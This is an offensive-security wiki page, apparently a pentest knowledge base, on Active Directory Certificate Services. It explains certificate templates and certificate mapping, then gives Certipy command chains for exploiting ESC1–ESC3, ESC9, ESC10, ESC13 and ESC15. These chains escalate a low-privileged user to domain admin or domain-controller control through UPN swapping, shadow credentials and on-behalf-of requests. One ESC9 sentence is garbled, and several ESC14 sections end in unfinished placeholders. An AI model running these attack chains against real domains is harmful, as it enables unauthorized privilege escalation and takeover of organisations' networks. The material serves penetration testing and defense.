Certificate templates
Theory
Template theory
AD CS Enterprise CAs issue certificates with settings defined by AD objects known as certificate templates. These templates are collections of enrollment policies and predefined certificate settings and contain things like “How long is this certificate valid for?”, “What is the certificate used for?”, “How is the subject specified?”, “Who is allowed to request a certificate?”, and a myriad of other settings
[...]
There is a specific set of settings for certificate templates that makes them extremely vulnerable. As in regular-domain-user-to-domain-admin vulnerable.
In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on certificate template misconfigurations (dubbed ESC1, ESC2 and ESC3).
Following this, Olivier Lyak has found two new template misconfigurations (dubbed ESC9 and ESC10).
Certificate mapping
This section focuses on how a certificate is associated with an account object. Certificate mapping is the part of certificate authentication where the DC takes the principal (user or computer) data provided in the certificate used during authentication, and attempts to map it to a user or computer in the domain.
Understanding certificate mapping is essential to understand ESC9, ESC10 and ESC14.
Mapping can be implicit or explicit, and strong or weak. These two notions work together, and the mapping of a certificate will use one option of each part (implicit and strong, or explicit and strong, and so on).
Implicit certificate mapping
With implicit mapping, the information contained in the certificate's SAN (Subject Alternative Name) is used to match the UPN attribute (userPrincipalName
) for a user or the DNS attribute (dNSHostName
) for a machine account. In the case of a user account, the otherName
component of the SAN is used, and for a machine account it is dNSName
.
If the UPN mapping fails, the DC will attempt to match the username contained in otherName
with the sAMAccountName
attribute, and then with sAMAccountName
suffixed with a $
. Similarly, if DNS mapping fails, the DC will attempt to match the hostname contained in dNSName
suffixed with a $
with the sAMAccountName
.
Explicit certificate mapping
For an explicit match, the altSecurityIdentities
attribute of an account (user or machine) must contain the identifiers of the certificates with which it is authorised to authenticate. The certificate must be signed by a trusted certification authority and match one of the values in the altSecurityIdentities
attribute.
The matches that can be added to the attribute are strings that follow a syntax defined with the identifiers of a certificate:
These identifiers can be found in the various fields of an X509 v3 certificate.
In AD CS, the certificate template specifies how the CA should populate the Subject
field and the SAN extension of the certificate based on the enrollee's AD attributes.
Certificate attributes
Before explaining weak and strong labels, it is important to talk about certificate attributs. The options in the "Subject Name" tab of the Windows Certificate Template Console correspond to the flags in the msPKI-Certificate-Name-Flag
attribute of the certificate template. Flags whose names follow the pattern CT_FLAG_SUBJECT_REQUIRE_<attribute>
relate to the information contained in the Subject
field of the certificate, and CT_FLAG_SUBJECT_ALT_REQUIRE_<attribute>
relates to the SAN extension.
When a certificate template requires an attribute from the enrolled account, but the enrolled account does not have that attribute or it is not defined, the behaviour may differ. Most flags are strong requirements (i.e. enrolment fails if the attribute is not defined for the enrolled account), but there are exceptions, as shown in the table below:
Some flags prevent default users/computers from enrolling in a given certificate scheme, because the required attributes are not set by default:
mail
: the mail attribute for users and computers is not set by defaultdNSHostName
: users do not have adNSHostName
attribute, so users cannot enroll in certificate templates requiringdNSHostName
; computers will have theirdNSHostName
attribute set when the computer is attached to a domain, but the attribute will not be set automatically simply by creating a computer object in the ADuserPrincipalName
: the UPN attribute is not set by default for computers, but it is for userscn
: all AD objects have acn
attribute set by default
Weak and strong mapping
As explained before, weak and strong "labels" are applied to certificate mapping and will influence on the final behavior of explicit and implicit mappings during Kebreros and Schannel authentications.
Following CVE-2022–26923 (certifried.md) discovered by Olivier Lyak, Microsoft has implemented a new security extension for the issued certificates, and two new registry keys to properly deal with certificate mapping.
- The
szOID_NTDS_CA_SECURITY_EXT
extension contains theobjectSid
of the requester and is used during implicit strong mapping - The
StrongCertificateBindingEnforcement
registry key is used for Kerberos mapping - The
CertificateMappingMethods
registry key is used for Schannel implicit mapping
Kerberos authentication
In the case of Kerberos authentication, the introduction of strong mapping for implicit matching means that the object's SID can be used (via the szOID_NTDS_CA_SECURITY_EXT
certificate extension) rather than the UPN and DNS, which can be easily spoofed.
In the case of explicit mapping, the update has implemented weak and strong "labels" on the mapping types (see table in the Explicit certificate mapping section above). The use of strong mapping implies the use of the corresponding mapping types.
During Kerberos authentication, the certificate mapping process will call the StrongCertificateBindingEnforcement
registry key. This key can be equal to three values:
0
: no strong certificate mapping is realised. The newszOID_NTDS_CA_SECURITY_EXT
extension is not check, all explicit mappings are allowed (see comments below) and the authentication behaviour is similar to what was done before the patch. This mode is no longer effective since 11/04/2023, and indicating the value0
in the key is now equivalent to indicating1
1
: default value after the patch. If explicit mapping is present, authentication is allowed. Otherwise, in the implicit case, weak mapping is authorised if the certificate does not contain an SID in theszOID_NTDS_CA_SECURITY_EXT
extension and the account predates the certificate. This mode will end on 11/02/20252
: only strong mapping is allowed. In implicit theszOID_NTDS_CA_SECURITY_EXT
extension must be present and contain the object's SID, in explicit only strong types are authorised. In all other cases, authentication is refused.
If the registry key value is 0
and the certificate contains an UPN value (normally for a user account), as seen previously, the KDC will first try to associate the certificate with a user whose userPrincipalName
attribute matches. If no validation can be performed, the KDC looks for an account whose sAMAccountName
property matches. If it doesn't find one, it tries again by adding a $
to the end of the user name. That way, a certificate with a UPN can be associated with a machine account.
If the registry key value is 0
and the certificate contains an DNS value (normally for a machine account), the KDC splits the user and the domain part, i.e. user.domain.local
becomes user
and domain.local
. The domain part is validated against the Active Directory domain, and the user part is validated adding a $
at the end, and searching for an account with a corresponding sAMAccountName
.
If the registry key value is 1
or 2
, and no explicit mapping is in place, the szOID_NTDS_CA_SECURITY_EXT
security extension will be used to implicitly map the account using its objectSid
. If the registry key is set to 1
and no security extension is present, the mapping behaviour is similar to that of a registry key set to 0
.
To support compatibility mode, Microsoft has introduced the CT_FLAG_NO_SECURITY_EXTENSION
flag for the msPKI-Enrollment-Flag
attribute of certificate templates. If present, the CA will not include the user's SID when issuing certificates (see ESC9).
As indicated by Jonas Bülow Knudsen in his article, observations can be done regarding Kerberos authentication:
- UPN mapping blocks explicit mapping: if the certificate has the
otherName
component in the SAN extension, the KDC will attempt an implicit UPN match and authentication will fail if it fails; the KDC will not attempt an explicit match in this case, but will do so in all other cases - DNS mapping does not block explicit mapping: you can use a certificate with
dNSName
in the SAN for implicit DNS mapping, but explicit mapping against users and computers works too - the
X509RFC822
(email) mapping does not work for computers: adding anX509RFC822
mapping to a computer has no effect; the KDC does not allow authentication using a certificate whose corresponding email is defined in therfc822Name
component under the SAN extension. However, it is possible to enrol on a certificate as a computer with the mail attribute and use it to authenticate as a user using theX509RFC822
mapping - the
X509SubjectOnly
andX509IssuerSubject
mappings are blocked by the mail in theSubject
field: if the certificate template has theCT_FLAG_SUBJECT_REQUIRE_EMAIL
attribute, so that the certification authority adds the value of the mail attribute to theSubject
field of the certificate, it is not possible to perform the explicitX509SubjectOnly
andX509IssuerSubject
mappings - the full DN cannot be used in the
X509SubjectOnly
andX509IssuerSubject
mappings: thedistinguishedName
cannot be used in theX509SubjectOnly
andX509IssuerSubject
mappings, so the certificate template cannot have theSUBJECT_REQUIRE_DIRECTORY_PATH
flag for these mappings
It is worth noting that registry parameters only apply on the host on which they are configured. This means that domain controllers is the same Active Directory domain (or forest) can have different configurations for UseSubjectAltName
and StrongCertificateBindingEnforcement
, some of which allow weak certificates to be mapped, while others do not.
Schannel authentication
During Kerberos authentication, the certificate mapping process will call the CertificateMappingMethods
registry key. This key can be a combinaison of the following values:
0x0001
: subject/issuer explicit mapping0x0002
: issuer explicit mapping0x0004
: SAN implicit mapping0x0008
: S4USelf implicit Kerberos mapping0x0010
: S4USelf explicit Kerberos mapping
The current default value is 0x18
(0x8
and 0x10
). Schannel doesn't support the new szOID_NTDS_CA_SECURITY_EXT
security extension directly, but it can use it by "converting" the Schannel certificate mapping to a Kerberos certificate mapping using S4USelf. Then, the mapping will be performed as presented in the Kerberos authentication section.
If some certificate authentication issues are encountered in an Active Directory, Microsoft has officially suggested to set the CertificateMappingMethods
value to 0x1f
(old value).
Issuance policies
It is possible to apply issuance policies to certificate templates. This takes the form of a certificate extension, and is stored as an OID (object identifier) in the msPKI-Certificate-Policy
attribute of the template. When the CA issues the certificate, the policy is added to the "Certificate Policies" attribute of the certificate. A template stores required policies in the msPKI-RA-Policies
attribute.
An issuance policy can be set up by a company, for example, for access control: a system can require a user to present a certificate with a given policy in order to guarantee that the system only grants access to authorised users. Issuing policies are msPKI-Enterprise-Oid
objects found in the PKI OID container (CN=OID,CN=Public Key Services,CN=Services
, in the Configuration Naming Context).
This object has an msDS-OIDToGroupLink
attribute which allows a policy to be linked to an AD group so that a system can authorise a user presenting the certificate as if he were a member of this group. As explained by Jonas Bülow Knudsen in his ADCS ESC13 article.
If you perform client authentication with the certificate, then you will receive an access token specifying the membership of this group.
Practice
(ESC1) Template allows SAN
When a certificate template allows to specify a subjectAltName
, it is possible to request a certificate for another user. It can be used for privileges escalation if the EKU specifies Client Authentication
or ANY
.
From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC1 and ESC2 scenarios.
Once a vulnerable template is found (how to enumerate), a request shall be made to obtain a certificate.
#To specify a user account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'
#To specify a computer account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'
The $ADCS_HOST
target must be a FQDN (not an IP).
The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme
flag can be used to set whether to use LDAP or LDAPS.
(ESC2) Any purpose EKU
When a certificate template specifies the Any Purpose EKU, or no EKU at all, the certificate can be used for anything. ESC2 can't be abused like ESC1 if the requester can't specify a SAN, however, it can be abused like ESC3 to use the certificate as requirement to request another one on behalf of any user.
(ESC3) Certificate Agent EKU
When a certificate template specifies the Certificate Request Agent EKU, it is possible to use the issued certificate from this template to request another certificate on behalf of any user.
From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC3 scenario. It is possible to output the result in an archive that can be uploaded in Bloodhound.
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -vulnerable
Once a vulnerable template is found (how to enumerate), a request shall be made to obtain a certificate specifying the Certificate Request Agent EKU.
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template'
Then, the issued certificate can be used to request another certificate permitting Client Authentication
on behalf of another user.
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'User' -on-behalf-of 'domain\domain admin' -pfx 'user.pfx'
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme
flag can be used to set whether to use LDAP or LDAPS.
(ESC9) No security extension
To understand this privilege escalation, it is recommended to know how certificate mapping is performed. It is presented in this section.
If the certificate attribute msPKI-Enrollment-Flag
contains the flag CT_FLAG_NO_SECURITY_EXTENSION
, the szOID_NTDS_CA_SECURITY_EXT
extension will not be embedded, meaning that even with StrongCertificateBindingEnforcement
set to 1
, the mapping will be performed similarly as a value of 0
in the registry key.
Here are the requirements to perform ESC9:
StrongCertificateBindingEnforcement
not set to2
(default:1
) orCertificateMappingMethods
containsUPN
flag (0x4
)- The template contains the
CT_FLAG_NO_SECURITY_EXTENSION
flag in themsPKI-Enrollment-Flag
value - The template specifies client authentication
GenericWrite
right against any account A to compromise any account B
Acate can then be used with to obtain a TGT and authenticat the time of writting (06/08/2022), there is no solution as a low privileged user to read the StrongCertificateBindingEnforcement
or the CertificateMappingMethods
values. It is worth to try the attack hopping the keys are misconfigured.
From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC9 scenario.
In this scenario, user1 has GenericWrite
against user2 and wants to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION
flag in the msPKI-Enrollment-Flag
value.
First, the user2's hash is needed. It can be retrieved via a Shadow Credentials attack, for example.
certipy shadow auto -username "user1@$DOMAIN" -p "$PASSWORD" -account user2
Then, the userPrincipalName
of user2 is changed to user3.
certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn user3
The vulnerable certificate can be requested as user2.
certipy req -username "user2@$DOMAIN" -hash "$NT_HASH" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template'
The user2's UPN is changed back to something else.
certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "user2@$DOMAIN"
Now, authenticating with the obtained certificate will provide the user3's NT hash during UnPac the hash. The domain must be specified since it is not present in the certificate.
certipy auth -pfx 'user3.pfx' -domain "$DOMAIN"
(ESC10) Weak certificate mapping
To understand this privilege escalation, it is recommended to know how certificate mapping is performed. It is presented in this section.
This ESC refers to a weak configuration of the registry keys:
Case 1
StrongCertificateBindingEnforcement
set to0
, meaning no strong mapping is performed- A template that specifiy client authentication is enabled (any template, like the built-in
User
template) GenericWrite
right against any account A to compromise any account B
At the time of writting (06/08/2022), there is no solution as a low privileged user to read the StrongCertificateBindingEnforcement
value. It is worth to try the attack hopping the key is misconfigured.
From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC10 scenario.
In this scenario, user1 has GenericWrite
against user2 and want to compromise user3.
First, the user2's hash is needed. It can be retrieved via a Shadow Credentials attack, for example.
certipy shadow auto -username "user1@$DOMAIN" -p "$PASSWORD" -account user2
Then, the userPrincipalName
of user2 is changed to user3.
certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn user3
A certificate permitting client authentication can be requested as user2.
certipy req -username "user2@$DOMAIN" -hash "$NT_HASH" -ca 'ca_name' -template 'User'
The user2's UPN is changed back to something else.
certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "user2@$DOMAIN"
Now, authenticating with the obtained certificate will provide the user3's NT hash with UnPac the hash. The domain must be specified since it is not present in the certificate.
certipy auth -pfx 'user3.pfx' -domain "$DOMAIN"
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme
flag can be used to set whether to use LDAP or LDAPS
Case 2
CertificateMappingMethods
is set to0x4
, meaning no strong mapping is performed and only the UPN will be checked- A template that specifiy client authentication is enabled (any template, like the built-in
User
template) GenericWrite
right against any account A to compromise any account B without a UPN already set (machine accounts or buit-in Administrator account for example)
At the time of writting (06/08/2022), there is no solution as a low privileged user to read the CertificateMappingMethods
value. It is worth to try the attack hopping the key is misconfigured.
From UNIX-like systems, Certipy (Python) can be used to enumerate for, and conduct, the ESC10 scenario.
In this scenario, user1 has GenericWrite
against user2 and want to compromise the domain controller DC$@domain.local.
First, the user2's hash is needed. It can be retrieved via a Shadow Credentials attack, for example.
certipy shadow auto -username "user1@$DOMAIN" -p "$PASSWORD" -account user2
Then, the userPrincipalName
of user2 is changed to DC$@domain.local.
certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "DC\$@$DOMAIN"
A certificate permitting client authentication can be requested as user2.
certipy req -username "user2@$DOMAIN" -hash "$NT_HASH" -ca 'ca_name' -template 'User'
The user2's UPN is changed back to something else.
certipy account update -username "user1@$DOMAIN" -p "$PASSWORD" -user user2 -upn "user2@$DOMAIN"
Now, authentication with the obtained certificate will be performed through Schannel. The -ldap-shell
option can be used to execute some LDAP requests and, for example, realised an RBCD to fully compromised the domain controller.
certipy auth -pfx dc.pfx -dc-ip "$DC_IP" -ldap-shell
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme
flag can be used to set whether to use LDAP or LDAPS
(ESC13) Issuance policiy with privileged group linked
For a group to be linked to an issuance policy via msDS-OIDToGroupLink
it must meet two requirements:
- Be empty
- Have a universal scope, i.e. be "Forest Wide". By default, "Forest Wide" groups are "Enterprise Read-only Domain Controllers", "Enterprise Key Admins", "Enterprise Admins" and "Schema Admins"
So, if a user or a computer can enroll on a template that specifies an issuance policy linked to a highly privileged group, the issued certificate privilegies will be mapped to those of the group.
To exploit ESC13, here are the requirements:
- The controlled principal can enroll to the template and meets all the required issuance policies
- The template specifies an issuance policy
- This policy is linked to a privileged groups via
msDS-OIDToGroupLink
- The template allows the Client Authentication in its EKU
- All the usual requirements
From UNIX-like systems, this pull request on Certipy (Python) permits to identify a certificate template with an issuance policy, i.e. with the msPKI-Certificate-Policy
property not empty. Additionally, it verifies if this issuance policy has an OID group link to a group in the property msDS-OIDToGroupLink
.
certipy find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'
If a vulnerable template is found, there is no particular issuance requirement, the principal can enroll, and the template indicates the Client Authentication EKU, request a certificate for this template with Certipy (Python) as usual:
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'
The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate as the controlled principal, but with its privileges added to those of the linked group.
(ESC14) Weak explicit mapping
This attack exploits configuration errors when explicit mapping is set up. To understand this ESC, it is essential to have a good command of Certificate mapping.
There are four possible attack scenarios for exploiting ESC14. In all cases, the following prerequisites must be met:
- the attacker has compromised a victim account and is able to request certificates with this account, and wants to compromise a target account
- the certificate template allows the victim to enroll
- the victim matches all the prerequisites for issuing the certificate
- the certificate template allows for authentication
- if the template has the value
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
orCT_FLAG_SUBJECT_ALT_REQUIRE_SPN
in themsPKI-Certificate-Name-Flag
attribute, then: - The
UseSubjectAltName
registry key on the DC must be set to0
- authentication can only be performed via PKINIT (Kerberos)
- if the template indicates
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
orCT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
in themsPKI-Certificate-Name-Flag
attribute: - the victim must be a machine
- authentication can only be performed via PKINIT (Kerberos)
- if the template indicates
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
orCT_FLAG_SUBJECT_REQUIRE_EMAIL
in themsPKI-Certificate-Name-Flag
attribute, one of the following prerequisites must be validated: - the certificate template uses version
1
of the scheme - the victim has his
mail
attribute configured - the attacker has write access to the victim's
mail
attribute
Sufficient DACL to write altSecurityIdentities
attributes can be detected like this:
From UNIX-like systems, this can be done with Impacket's dacledit.py (Python).
dacledit.py -action 'read' -principal 'controlled_object' -target 'target_object' 'domain'/'user':'password'
It is also possible to view the necessary DACL in BloodHound.
Detection of weak explicit mapping can be done with the Get-AltSecIDMapping.ps1 script (PowerShell) from a Windows machine. At the time of writing (May 16st, 2024), there is no solution to perform this check from a UNIX-like system.
Get-AltSecIDMapping -SearchBase "CN=Users,DC=domain,DC=local"
(ESC14 A) Write access on altSecurityIdentities
The attacker has write access to the altSecurityIdentities
attribute of the target. He can enrol on a certificate as the victim and create an explicit mapping for the target by modifying its altSecurityIdentities
attribute and pointing it to the obtained certificate. The certificate can then be used to authenticate as the target.
Write rights to altSecurityIdentities
can be obtained via the following DACL:
- Write property
altSecurityIdentities
- Write property
Public-Information
- Write property (all)
WriteDACL
WriteOwner
GenericWrite
GenericAll
- Owner
For PKINIT authentication, no additional requirements are necessary. For Schannel authentication, the CertificateMappingMethods
key must be set to 0x8
(default value).
// TODO
(ESC14 B) Target with X509RFC822 (email)
The target has an explicit weak mapping of type X509RFC822
. The attacker can modify the mail
attribute of the victim so that it matches the X509RFC822
mapping of the target. It is then possible to enroll on the certificate model with the victim, and use the certificate obtained to authenticate as the target.
For this attack, a few additional prerequisites are necessary:
WARNING
- The target is a user account
- The target already has at least one
X509RFC822
mapping inaltSecurityIdentities
- The attacker has write access to the
mail
attribute of the victim - The certificate template shows
CT_FLAG_NO_SECURITY_EXTENSION
inmsPKI-Enrollment-Flag
and shows the attributeCT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
inmsPKI-Certificate-Name-Flag
- For PKINIT,
StrongCertificateBindingEnforcement
is set to0
or1
- For Schannel,
CertificateMappingMethods
indicates0x8
andStrongCertificateBindingEnforcement
is set to0
or1
// TODO
(ESC14 C) Target with X509IssuerSubject
The target has an explicit weak mapping of type X509IssuerSubject
. The attacker can modify the cn
or dNSHostName
attribute of the victim to match the subject of the X509IssuerSubject
mapping of the target. It is then possible to enroll on the certificate template with the victim, and use the resulting certificate to authenticate as the target.
For this attack, some additional prerequisites are necessary:
- The target already has at least one
X509IssuerSubject
mapping inaltSecurityIdentities
- If the victim is a user:
- The attacker can modify the
cn
andname
attributes of the victim (to change thecn
, thename
must match) - If the target is a user and the
X509IssuerSubject
mapping has the current value of thecn
attribute of the target as its identifier, the victim and the target cannot be in the same container (the DC will not allow thecn
of the victim to be set according to thecn
of the target if they are in the same container, as this would mean that they have the samedistinguishedName
) - If the victim is a machine: the attacker has write access to the
dNSHostName
attribute - The certificate template indicates
CT_FLAG_NO_SECURITY_EXTENSION
inmsPKI-Enrollment-Flag
(except for Schannel authentication with the DC having theCertificateMappingMethods
key set to0x1
) - The template has one of the following flags in
msPKI-Certificate-Name-Flag
:CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
orCT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
- The certificate does not have any of the following flags:
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
andCT_FLAG_SUBJECT_REQUIRE_EMAIL
- The enterprise PKI is the issuer referenced by
IssuerName
in theX509IssuerSubject
mapping of the target - For PKINIT,
StrongCertificateBindingEnforcement
is set to0
or1
- For Schannel,
CertificateMappingMethods
indicates0x8
andStrongCertificateBindingEnforcement
is set to0
or1
, orCertificateMappingMethods
is set to0x1
In this example, the target has the explicit mapping value X509:<I>DC=local,DC=domain,CN=$TARGET<S>CN=$TARGET.domain.local
. One must change the cn
of the victim (in this case a user) to equal $TARGET.domain.local
. By renaming the user, the DC will automatically change the cn
and name
.
// TODO
(ESC14 D) Target with X509SubjectOnly
The target has an explicit weak mapping of type X509SubjectOnly
. The attacker can modify the cn
or dNSHostName
attribute of the victim to match the subject of the X509SubjectOnly
mapping of the target. It is then possible to enroll on the certificate template with the victim, and use the resulting certificate to authenticate as the target.
For this attack, some additional prerequisites are necessary:
- The target already has at least one
X509SubjectOnly
mapping inaltSecurityIdentities
- If the victim is a user:
- The attacker can modify the
cn
andname
attributes of the victim (to change thecn
, thename
must match) - If the target is a user and the
X509SubjectOnly
mapping has the current value of thecn
attribute of the target as its identifier, the victim and the target cannot be in the same container (the DC will not allow thecn
of the victim to be set according to thecn
of the target if they are in the same container, as this would mean that they have the samedistinguishedName
) - If the victim is a machine: the attacker has write access to the
dNSHostName
attribute - The certificate template indicates
CT_FLAG_NO_SECURITY_EXTENSION
inmsPKI-Enrollment-Flag
- The template has one of the following flags in
msPKI-Certificate-Name-Flag
:CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
orCT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
- The certificate does not have any of the following flags:
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
andCT_FLAG_SUBJECT_REQUIRE_EMAIL
- For PKINIT,
StrongCertificateBindingEnforcement
is set to0
or1
- For Schannel,
CertificateMappingMethods
indicates0x8
andStrongCertificateBindingEnforcement
is set to0
or1
In this example, the target has the explicit mapping value X509:<S>CN=TARGET
. One must change the dNSHostName
of the victim (in this case a computer) to equal $TARGET
.
// TODO
(ESC15 - CVE-2024-49019) Arbitrary application policy
NOTE
This privilege escalation has been marked as CVE-2024-49019 by Microsoft, and will therefore no longer be exploitable on patched systems.
By default, the X509 standard uses EKUs to indicate the possible uses of a certificate. Under Windows, a field called Application Policy
is added to certificates, and this does the same thing as EKUs, but with a few more options. If both EKUs and application policies are present in a certificate, the latter takes precedence.
It turns out that if a certificate template uses version 1 of the certificate templates, authorises the SAN specification, and if it is possible to enrol on it, then it is possible to request a certificate by specifying an arbitrary user and requesting an arbitrary application policy.
TIP
Note, however, that specifying "Client Authentication" in application policy will only allow SChannel authentication and not PKINIT. On the other hand, by specifying "Certificate Request Agent" (1.3.6.1.4.1.311.20.2.1
), the certificate can be used as an ESC3.
You can see the ESC15 as an ESC2 with more steps.
From UNIX-like systems, this pull request on Certipy (Python) can be used to enumerate for, and conduct, the ESC15 scenario.
# Request a certificate with "Certificate Request Agent" application policy
certipy req -u $USER@$DOMAIN --application-policies "1.3.6.1.4.1.311.20.2.1" -ca $CA_NAME -template $TEMPLATE -dc-ip $DC_IP
# Use the certificate in a ESC3 scenario to ask for a new certificate on behalf of another user
certipy req -u $USER@$DOMAIN -on-behalf-of $DOMAIN\\Administrator -template User -ca $CA_NAME -pfx cert.pfx -dc-ip $DC_IP
# Authenticate with the last certificate
certipy auth -pfx administrator.pfx -dc-ip $DC_ADDR
Resources
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9
https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc